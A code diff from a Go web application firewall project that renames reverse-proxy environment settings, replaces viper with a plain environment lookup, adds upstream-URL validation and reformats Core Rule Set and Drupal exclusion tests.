func RProxyListenAddrAndUpstreamURL(
|
func RProxyListenAddrAndUpstreamURL(
|
||||||
v *viper.Viper,
|
lookupEnv func(string) (string, bool),
|
||||||
) (string, *url.URL, error) {
|
) (string, *url.URL, error) {
|
||||||
env := &environment{v: v}
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
listenAddr := env.address("SWW_RPROXY_LISTEN_ADDR")
|
listenAddr := env.address("SWRP_LISTEN_ADDR")
|
||||||
upstreamURL := env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL)
|
upstreamURL := env.appURL("SWRP_UPSTREAM_URL", defaultUpstreamURL)
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
return "", nil, env.err
|
return "", nil, env.err
|
||||||
@@ -107,12 +132,34 @@ func RProxyListenAddrAndUpstreamURL(
|
|||||||
return listenAddr, upstreamURL, nil
|
return listenAddr, upstreamURL, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// withoutFileForms returns lookupEnv finding no setting named with _FILE, since
|
||||||
|
// rproxy never touches disk.
|
||||||
|
func withoutFileForms(
|
||||||
|
lookupEnv func(string) (string, bool),
|
||||||
|
) func(string) (string, bool) {
|
||||||
|
return func(name string) (string, bool) {
|
||||||
|
if strings.HasSuffix(name, "_FILE") {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
|
||||||
|
return lookupEnv(name)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
// LogValue makes an RProxy log as each setting's name with the value it was
|
// LogValue makes an RProxy log as each setting's name with the value it was
|
||||||
// given, or its default.
|
// given, or its default.
|
||||||
func (c *RProxy) LogValue() slog.Value {
|
func (c *RProxy) LogValue() slog.Value {
|
||||||
return slog.GroupValue(c.settings...)
|
return slog.GroupValue(c.settings...)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// appURL reads a setting that is the app's URL.
|
||||||
|
func (e *environment) appURL(name, defaultValue string) *url.URL {
|
||||||
|
upstream, err := parseUpstreamURL(e.value(name, defaultValue))
|
||||||
|
e.check(name, err)
|
||||||
|
|
||||||
|
return upstream
|
||||||
|
}
|
||||||
|
|
||||||
// wafBackend reads the setting that is waf's URL, which must be set.
|
// wafBackend reads the setting that is waf's URL, which must be set.
|
||||||
func (e *environment) wafBackend(name string) *url.URL {
|
func (e *environment) wafBackend(name string) *url.URL {
|
||||||
value := e.value(name, "")
|
value := e.value(name, "")
|
||||||
@@ -155,7 +202,9 @@ func (e *environment) milliseconds(name, defaultValue string) time.Duration {
|
|||||||
|
|
||||||
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
// millisecondsOrOff reads a setting that is a whole number of milliseconds
|
||||||
// above zero, or off, which is 0.
|
// above zero, or off, which is 0.
|
||||||
func (e *environment) millisecondsOrOff(name, defaultValue string) time.Duration {
|
func (e *environment) millisecondsOrOff(
|
||||||
|
name, defaultValue string,
|
||||||
|
) time.Duration {
|
||||||
value := e.value(name, defaultValue)
|
value := e.value(name, defaultValue)
|
||||||
if value == off {
|
if value == off {
|
||||||
return 0
|
return 0
|
||||||
@@ -179,3 +228,33 @@ func parseMilliseconds(value string) (time.Duration, bool) {
|
|||||||
|
|
||||||
return time.Duration(n) * time.Millisecond, true
|
return time.Duration(n) * time.Millisecond, true
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// parseUpstreamURL reads the app's URL: http or https, a host and an
|
||||||
|
// optional port from 1 to 65535, and nothing else, since the request's
|
||||||
|
// own path and query go to the app unchanged.
|
||||||
|
func parseUpstreamURL(value string) (*url.URL, error) {
|
||||||
|
upstream, err := url.Parse(value)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
onlySchemeAndHost := (upstream.Scheme == "http" || upstream.Scheme == "https") &&
|
||||||
|
upstream.Hostname() != "" &&
|
||||||
|
upstream.User == nil &&
|
||||||
|
upstream.Opaque == "" &&
|
||||||
|
(upstream.Path == "" || upstream.Path == "/") &&
|
||||||
|
upstream.RawQuery == "" &&
|
||||||
|
upstream.Fragment == ""
|
||||||
|
if !onlySchemeAndHost {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
|
||||||
|
if upstream.Port() != "" {
|
||||||
|
port, err := strconv.ParseUint(upstream.Port(), 10, 16)
|
||||||
|
if err != nil || port == 0 {
|
||||||
|
return nil, fmt.Errorf("%q %w", value, errNotUpstreamURL)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return upstream, nil
|
||||||
|
}
|
||||||
@@ -10,21 +10,20 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// rproxy's settings, by name, and their values in these tests.
|
// rproxy's settings, by name, and their values in these tests.
|
||||||
const (
|
const (
|
||||||
wafBackend = "SWW_RPROXY_WAF_BACKEND"
|
wafBackend = "SWRP_WAF_BACKEND"
|
||||||
rproxyTimeout = "SWW_RPROXY_TIMEOUT_MS"
|
rproxyTimeout = "SWRP_TIMEOUT_MS"
|
||||||
rproxyDefault = "SWW_RPROXY_DEFAULT_DISPOSITION"
|
rproxyDefault = "SWRP_DEFAULT_DISPOSITION"
|
||||||
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
|
rproxyListen = "SWRP_LISTEN_ADDR"
|
||||||
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
|
rproxyUpstream = "SWRP_UPSTREAM_URL"
|
||||||
rproxyTrusted = "SWW_RPROXY_TRUSTED_PROXIES"
|
rproxyTrusted = "SWRP_TRUSTED_PROXIES"
|
||||||
rproxyMaxRequest = "SWW_RPROXY_MAX_REQUEST_SIZE"
|
rproxyMaxRequest = "SWRP_MAX_REQUEST_SIZE"
|
||||||
rproxyMaxResponse = "SWW_RPROXY_MAX_RESPONSE_SIZE"
|
rproxyMaxResponse = "SWRP_MAX_RESPONSE_SIZE"
|
||||||
rproxyRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
|
rproxyRequestTime = "SWRP_MAX_REQUEST_TIME_MS"
|
||||||
rproxyAnswerTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
|
rproxyAnswerTime = "SWRP_MAX_RESPONSE_TIME_MS"
|
||||||
backendURL = "http://waf:8080"
|
backendURL = "http://waf:8080"
|
||||||
rproxyDefaultAddr = ":8080"
|
rproxyDefaultAddr = ":8080"
|
||||||
rproxyDefaultApp = "http://127.0.0.1:8081"
|
rproxyDefaultApp = "http://127.0.0.1:8081"
|
||||||
@@ -33,7 +32,11 @@ const (
|
|||||||
|
|
||||||
// rproxyConfig reads rproxy's settings from env.
|
// rproxyConfig reads rproxy's settings from env.
|
||||||
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
func rproxyConfig(env map[string]string) (*config.RProxy, error) {
|
||||||
return config.RProxyFromEnvironment(configtest.Viper(env))
|
return config.RProxyFromEnvironment(func(name string) (string, bool) {
|
||||||
|
value, ok := env[name]
|
||||||
|
|
||||||
|
return value, ok
|
||||||
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxyDefaults(t *testing.T) {
|
func TestRProxyDefaults(t *testing.T) {
|
||||||
@@ -47,18 +50,28 @@ func TestRProxyDefaults(t *testing.T) {
|
|||||||
if cfg.ListenAddr != rproxyDefaultAddr ||
|
if cfg.ListenAddr != rproxyDefaultAddr ||
|
||||||
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
cfg.UpstreamURL.String() != rproxyDefaultApp ||
|
||||||
cfg.WAFBackend.String() != backendURL {
|
cfg.WAFBackend.String() != backendURL {
|
||||||
t.Errorf("addresses %q, %v, %v", cfg.ListenAddr, cfg.UpstreamURL, cfg.WAFBackend)
|
t.Errorf(
|
||||||
|
"addresses %q, %v, %v",
|
||||||
|
cfg.ListenAddr,
|
||||||
|
cfg.UpstreamURL,
|
||||||
|
cfg.WAFBackend,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
if cfg.Timeout != 2*time.Second || cfg.DefaultDisposition != "allow" {
|
||||||
t.Errorf("timeout %v, default disposition %q", cfg.Timeout, cfg.DefaultDisposition)
|
t.Errorf(
|
||||||
|
"timeout %v, default disposition %q",
|
||||||
|
cfg.Timeout,
|
||||||
|
cfg.DefaultDisposition,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
if cfg.MaxRequestSize != 100<<20 || cfg.MaxResponseSize != 1<<30 {
|
||||||
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
t.Errorf("sizes %d and %d", cfg.MaxRequestSize, cfg.MaxResponseSize)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.MaxRequestTime != time.Minute || cfg.MaxResponseTime != 30*time.Minute {
|
if cfg.MaxRequestTime != time.Minute ||
|
||||||
|
cfg.MaxResponseTime != 30*time.Minute {
|
||||||
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
t.Errorf("times %v and %v", cfg.MaxRequestTime, cfg.MaxResponseTime)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -97,9 +110,12 @@ func TestRProxySettingsAreRead(t *testing.T) {
|
|||||||
t.Errorf("addresses %+v", cfg)
|
t.Errorf("addresses %+v", cfg)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.Timeout != 150*time.Millisecond || cfg.DefaultDisposition != "deny" ||
|
if cfg.Timeout != 150*time.Millisecond ||
|
||||||
cfg.MaxRequestSize != 1024 || cfg.MaxResponseSize != 0 ||
|
cfg.DefaultDisposition != "deny" ||
|
||||||
cfg.MaxRequestTime != 0 || cfg.MaxResponseTime != 250*time.Millisecond {
|
cfg.MaxRequestSize != 1024 ||
|
||||||
|
cfg.MaxResponseSize != 0 ||
|
||||||
|
cfg.MaxRequestTime != 0 ||
|
||||||
|
cfg.MaxResponseTime != 250*time.Millisecond {
|
||||||
t.Errorf("limits %+v", cfg)
|
t.Errorf("limits %+v", cfg)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -144,7 +160,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(map[string]string{wafBackend: backendURL, tc.name: tc.value})
|
_, err := rproxyConfig(
|
||||||
|
map[string]string{wafBackend: backendURL, tc.name: tc.value},
|
||||||
|
)
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
if err == nil || !strings.HasPrefix(err.Error(), tc.name+": ") {
|
||||||
t.Errorf("error %v, want one naming %s", err, tc.name)
|
t.Errorf("error %v, want one naming %s", err, tc.name)
|
||||||
}
|
}
|
||||||
@@ -155,7 +173,9 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
|
|||||||
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
func TestRProxyTrustedProxiesSetButEmptyTrustNothing(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
cfg, err := rproxyConfig(map[string]string{wafBackend: backendURL, rproxyTrusted: ""})
|
cfg, err := rproxyConfig(
|
||||||
|
map[string]string{wafBackend: backendURL, rproxyTrusted: ""},
|
||||||
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v", err)
|
||||||
}
|
}
|
||||||
@@ -169,46 +189,38 @@ func TestRProxyNeedsItsBackend(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
_, err := rproxyConfig(nil)
|
_, err := rproxyConfig(nil)
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
if err == nil ||
|
||||||
|
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
t.Errorf("error %v, want one saying %s is required", err, wafBackend)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestRProxySettingReadFromFile(t *testing.T) {
|
func TestRProxyReadsNoFile(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
path := filepath.Join(t.TempDir(), "backend")
|
path := filepath.Join(t.TempDir(), "backend")
|
||||||
|
|
||||||
err := os.WriteFile(path, []byte(backendURL+"\n"), 0o600)
|
err := os.WriteFile(path, []byte("http://from-a-file:8080\n"), 0o600)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("write: %v", err)
|
t.Fatalf("write: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
cfg, err := rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
_, err = rproxyConfig(map[string]string{wafBackend + "_FILE": path})
|
||||||
|
if err == nil ||
|
||||||
|
!strings.HasPrefix(err.Error(), wafBackend+": is required") {
|
||||||
|
t.Errorf("error %v, want %s still required", err, wafBackend)
|
||||||
|
}
|
||||||
|
|
||||||
|
cfg, err := rproxyConfig(map[string]string{
|
||||||
|
wafBackend: backendURL,
|
||||||
|
rproxyTimeout + "_FILE": "/nonexistent/timeout",
|
||||||
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("settings: %v", err)
|
t.Fatalf("settings: %v, with the file left unread", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
if cfg.WAFBackend.String() != backendURL {
|
if cfg.Timeout != 2*time.Second {
|
||||||
t.Errorf("backend %v, want %s", cfg.WAFBackend, backendURL)
|
t.Errorf("timeout %v, want the default", cfg.Timeout)
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
dir := t.TempDir()
|
|
||||||
|
|
||||||
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
|
|
||||||
_, err := rproxyConfig(map[string]string{
|
|
||||||
wafBackend: backendURL,
|
|
||||||
rproxyTimeout + "_FILE": path,
|
|
||||||
})
|
|
||||||
|
|
||||||
want := rproxyTimeout + "_FILE: cannot be read: "
|
|
||||||
if err == nil || !strings.HasPrefix(err.Error(), want) {
|
|
||||||
t.Errorf("%s: error %v, want one starting %s", path, err, want)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,16 +0,0 @@
|
|||||||
package config
|
|
||||||
|
|
||||||
import "github.com/spf13/viper"
|
|
||||||
|
|
||||||
// NewViper returns the viper that reads the settings: each setting's
|
|
||||||
// environment variable, bound to its own name. Every setting of waf
|
|
||||||
// and rproxy is read through it, and none is read with os.Getenv or
|
|
||||||
// os.LookupEnv outside it. An environment variable that is set but empty is
|
|
||||||
// set, as one that holds a value is, which viper does not take for granted.
|
|
||||||
func NewViper() *viper.Viper {
|
|
||||||
v := viper.New()
|
|
||||||
v.AutomaticEnv()
|
|
||||||
v.AllowEmptyEnv(true)
|
|
||||||
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
@@ -1,34 +0,0 @@
|
|||||||
package config_test
|
|
||||||
|
|
||||||
import (
|
|
||||||
"testing"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
|
||||||
)
|
|
||||||
|
|
||||||
// These tests set real environment variables, so none runs in parallel.
|
|
||||||
|
|
||||||
func TestTokenSetEmptyInTheEnvironmentStopsTheStart(t *testing.T) {
|
|
||||||
t.Setenv(adminToken, "")
|
|
||||||
|
|
||||||
_, err := config.FromEnvironment(config.NewViper())
|
|
||||||
|
|
||||||
want := adminToken + ": is shorter than 32 characters"
|
|
||||||
if err == nil || err.Error() != want {
|
|
||||||
t.Fatalf("error %v, want %s", err, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestListSetEmptyInTheEnvironmentReplacesItsDefault(t *testing.T) {
|
|
||||||
t.Setenv(wafBackend, backendURL)
|
|
||||||
t.Setenv(rproxyTrusted, "")
|
|
||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(config.NewViper())
|
|
||||||
if err != nil {
|
|
||||||
t.Fatalf("settings: %v", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(cfg.TrustedProxies) != 0 {
|
|
||||||
t.Errorf("trusted proxies %v, want none", cfg.TrustedProxies)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
File diff suppressed because it is too large.
Load diff
File diff suppressed because it is too large.
Load diff
@@ -1,7 +1,7 @@
|
|||||||
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
// Package coreruleset runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
|
||||||
// method, the URL with its query and the headers of a request, and on its
|
// method, the URL with its query and the headers of a request, and on its
|
||||||
// body while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, with the fifteen changes sww
|
// body while SWW_WAF_BODY_LIMIT is set, with the fifteen changes sww
|
||||||
// makes to it and the exclusions in SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
// makes to it and the exclusions in SWW_CORE_RULE_SET_EXCLUSIONS_FILE, as
|
||||||
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
// "Attack detection" under "Settings" in SPEC.md describes them. It reads no
|
||||||
// response.
|
// response.
|
||||||
//
|
//
|
||||||
@@ -32,19 +32,19 @@ import (
|
|||||||
|
|
||||||
// directives are the Core Rule Set as sww runs it, with the
|
// directives are the Core Rule Set as sww runs it, with the
|
||||||
// paranoia level for %d, bodyDirectives for the first %s while
|
// paranoia level for %d, bodyDirectives for the first %s while
|
||||||
// SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set, the exclusions file for the second,
|
// SWW_WAF_BODY_LIMIT is set, the exclusions file for the second,
|
||||||
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
// giteaExclusions for the third, wordpressExclusions for the fourth,
|
||||||
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
// drupalExclusions for the fifth, mediawikiExclusions for the sixth,
|
||||||
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
// mastodonExclusions for the seventh, vaultwardenExclusions for the eighth,
|
||||||
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
// nextcloudExclusions for the ninth, and forgejoExclusions for the tenth.
|
||||||
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
// Each rule sww adds has an id from 900000 to 900999, the ids the
|
||||||
// Core Rule Set keeps for the rules that set it up, which
|
// Core Rule Set keeps for the rules that set it up, which
|
||||||
// SWW_WAF_CORE_RULE_SET_DISABLED_RULES and the exclusions file refuse, so that no
|
// SWW_WAF_DISABLED_RULES and the exclusions file refuse, so that no
|
||||||
// setting switches one off. Coraza joins a line ending in \ to the next,
|
// setting switches one off. Coraza joins a line ending in \ to the next,
|
||||||
// without the spaces at the start of the next.
|
// without the spaces at the start of the next.
|
||||||
const directives = `
|
const directives = `
|
||||||
# The engine only detects. sww compares the request's anomaly
|
# The engine only detects. sww compares the request's anomaly
|
||||||
# score with SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD itself, in block and detect mode
|
# score with SWW_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
|
||||||
# alike. It reads no body, unless bodyDirectives switch that on.
|
# alike. It reads no body, unless bodyDirectives switch that on.
|
||||||
SecRuleEngine DetectionOnly
|
SecRuleEngine DetectionOnly
|
||||||
SecRequestBodyAccess Off
|
SecRequestBodyAccess Off
|
||||||
@@ -258,16 +258,16 @@ var cookiesNotRead = []string{"gitea_flash", "flash", "redirect_to"}
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// ParanoiaLevel is SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL, from 1 to 4.
|
// ParanoiaLevel is SWW_WAF_PARANOIA_LEVEL, from 1 to 4.
|
||||||
ParanoiaLevel int
|
ParanoiaLevel int
|
||||||
// DisabledRules are the ids of the rules switched off
|
// DisabledRules are the ids of the rules switched off
|
||||||
// (SWW_WAF_CORE_RULE_SET_DISABLED_RULES).
|
// (SWW_WAF_DISABLED_RULES).
|
||||||
DisabledRules []int
|
DisabledRules []int
|
||||||
// BodyLimit is the most of a request body the Core Rule Set reads
|
// BodyLimit is the most of a request body the Core Rule Set reads
|
||||||
// (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
// (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||||
BodyLimit int64
|
BodyLimit int64
|
||||||
// ExclusionsFile is the path of a file of exclusions loaded before the
|
// ExclusionsFile is the path of a file of exclusions loaded before the
|
||||||
// Core Rule Set's rules (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
// Core Rule Set's rules (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while
|
||||||
// there is none.
|
// there is none.
|
||||||
ExclusionsFile string
|
ExclusionsFile string
|
||||||
}
|
}
|
||||||
@@ -292,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
|||||||
// directive that removes or changes rules as it loads, such as
|
// directive that removes or changes rules as it loads, such as
|
||||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||||
// the directive finds none of them.
|
// the directive finds none of them.
|
||||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
var errChangesNoRule = errors.New(
|
||||||
"switch a rule off with SWW_WAF_CORE_RULE_SET_DISABLED_RULES, or on some requests " +
|
"the Core Rule Set's rules load after the file; " +
|
||||||
"with a ctl exclusion")
|
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||||
|
"with a ctl exclusion",
|
||||||
|
)
|
||||||
|
|
||||||
// directivesIn returns the directives in text as Coraza reads them: it
|
// directivesIn returns the directives in text as Coraza reads them: it
|
||||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||||
@@ -338,18 +340,27 @@ func checkExclusions(exclusions string) error {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||||
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
return fmt.Errorf(
|
||||||
errSwwRuleID)
|
"the exclusions file names %s: %w",
|
||||||
|
match[0],
|
||||||
|
errSwwRuleID,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Coraza takes the directive's name up to the first space, without
|
// Coraza takes the directive's name up to the first space, without
|
||||||
// regard to case.
|
// regard to case.
|
||||||
name, _, _ := strings.Cut(directive, " ")
|
name, _, _ := strings.Cut(directive, " ")
|
||||||
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
if lower := strings.ToLower(name); strings.HasPrefix(
|
||||||
|
lower,
|
||||||
|
"secruleremove",
|
||||||
|
) ||
|
||||||
strings.HasPrefix(lower, "secruleupdate") {
|
strings.HasPrefix(lower, "secruleupdate") {
|
||||||
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
return fmt.Errorf(
|
||||||
errChangesNoRule)
|
"%s in the exclusions file changes no rule: %w",
|
||||||
|
name,
|
||||||
|
errChangesNoRule,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -481,14 +492,17 @@ func (c *CoreRuleSet) Inspect(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// readBody reads body, the body of the request in tx, which has run on
|
// readBody reads body, the body of the request in tx, which has run on
|
||||||
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set and the body is
|
// the request's headers, while SWW_WAF_BODY_LIMIT is set and the body is
|
||||||
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
// of a kind the Core Rule Set reads: form data and multipart, of which it
|
||||||
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
|
||||||
// when they are no longer than that, since they cannot be read in part.
|
// when they are no longer than that, since they cannot be read in part.
|
||||||
// readBody reads one byte past the limit, to tell which they are, gives
|
// readBody reads one byte past the limit, to tell which they are, gives
|
||||||
// the Core Rule Set what it reads, and returns what it read and the error
|
// the Core Rule Set what it reads, and returns what it read and the error
|
||||||
// that ended the reading early, if one did.
|
// that ended the reading early, if one did.
|
||||||
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
func (c *CoreRuleSet) readBody(
|
||||||
|
tx types.Transaction,
|
||||||
|
body io.Reader,
|
||||||
|
) ([]byte, error) {
|
||||||
if c.bodyLimit == 0 {
|
if c.bodyLimit == 0 {
|
||||||
return nil, nil
|
return nil, nil
|
||||||
}
|
}
|
||||||
|
|||||||
File diff suppressed because it is too large.
Load diff
@@ -4,10 +4,10 @@
|
|||||||
# request, before the rules it switches off, so this file is loaded before the
|
# request, before the rules it switches off, so this file is loaded before the
|
||||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||||
# exclusion on a field of a body applies only when the query has no parameter
|
# exclusion on a field of a body applies only when the query has no parameter
|
||||||
# of that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is
|
# of that name, so it matters only while SWW_WAF_BODY_LIMIT is set. The
|
||||||
# set. The exclusions above the comment "The fields below are in bodies" also
|
# exclusions above the comment "The fields below are in bodies" also cover a
|
||||||
# cover a body field of the same name whatever the query holds, and only those
|
# body field of the same name whatever the query holds, and only those below it
|
||||||
# below it need a query without that name.
|
# need a query without that name.
|
||||||
#
|
#
|
||||||
# Each path may start with a language prefix, such as /fr in
|
# Each path may start with a language prefix, such as /fr in
|
||||||
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
# /fr/admin/content. The prefix is two or three letters, then optionally a
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ import (
|
|||||||
"testing"
|
"testing"
|
||||||
)
|
)
|
||||||
|
|
||||||
// drupalThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||||
const drupalThreshold = 5
|
const drupalThreshold = 5
|
||||||
|
|
||||||
// drupalAddArticle is Drupal's form for a new article.
|
// drupalAddArticle is Drupal's form for a new article.
|
||||||
@@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, sent.body)
|
got, _ := inspectBody(t, crs, r, sent.body)
|
||||||
if got.Score < drupalThreshold {
|
if got.Score < drupalThreshold {
|
||||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
t.Errorf(
|
||||||
|
"POST %s %q let through: %+v",
|
||||||
|
sent.target,
|
||||||
|
sent.body,
|
||||||
|
got,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
}
|
||||||
|
|
||||||
for _, attack := range []string{
|
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
||||||
injection,
|
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
||||||
scriptTag,
|
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||||
} {
|
t.Parallel()
|
||||||
|
|
||||||
|
crs := readingBodies(t)
|
||||||
|
|
||||||
|
for _, attack := range []string{injection, scriptTag} {
|
||||||
for _, field := range []string{
|
for _, field := range []string{
|
||||||
`"title":"` + attack + `"`,
|
`"title":"` + attack + `"`,
|
||||||
`"body":{"value":"` + attack + `"}`,
|
`"body":{"value":"` + attack + `"}`,
|
||||||
@@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
r := request{
|
||||||
|
http.MethodPatch,
|
||||||
|
"/node/2?_format=json",
|
||||||
|
[]string{jsonBody},
|
||||||
|
}
|
||||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||||
|
|
||||||
got, _ := inspectBody(t, crs, r, body)
|
got, _ := inspectBody(t, crs, r, body)
|
||||||
@@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
|
|||||||
wantPasswordFieldsPass(t, []passwordFields{
|
wantPasswordFieldsPass(t, []passwordFields{
|
||||||
{drupalRegister, formData, pass},
|
{drupalRegister, formData, pass},
|
||||||
{"/fr/user/register", formData, pass},
|
{"/fr/user/register", formData, pass},
|
||||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
{
|
||||||
|
"/user/1/edit",
|
||||||
|
formData,
|
||||||
|
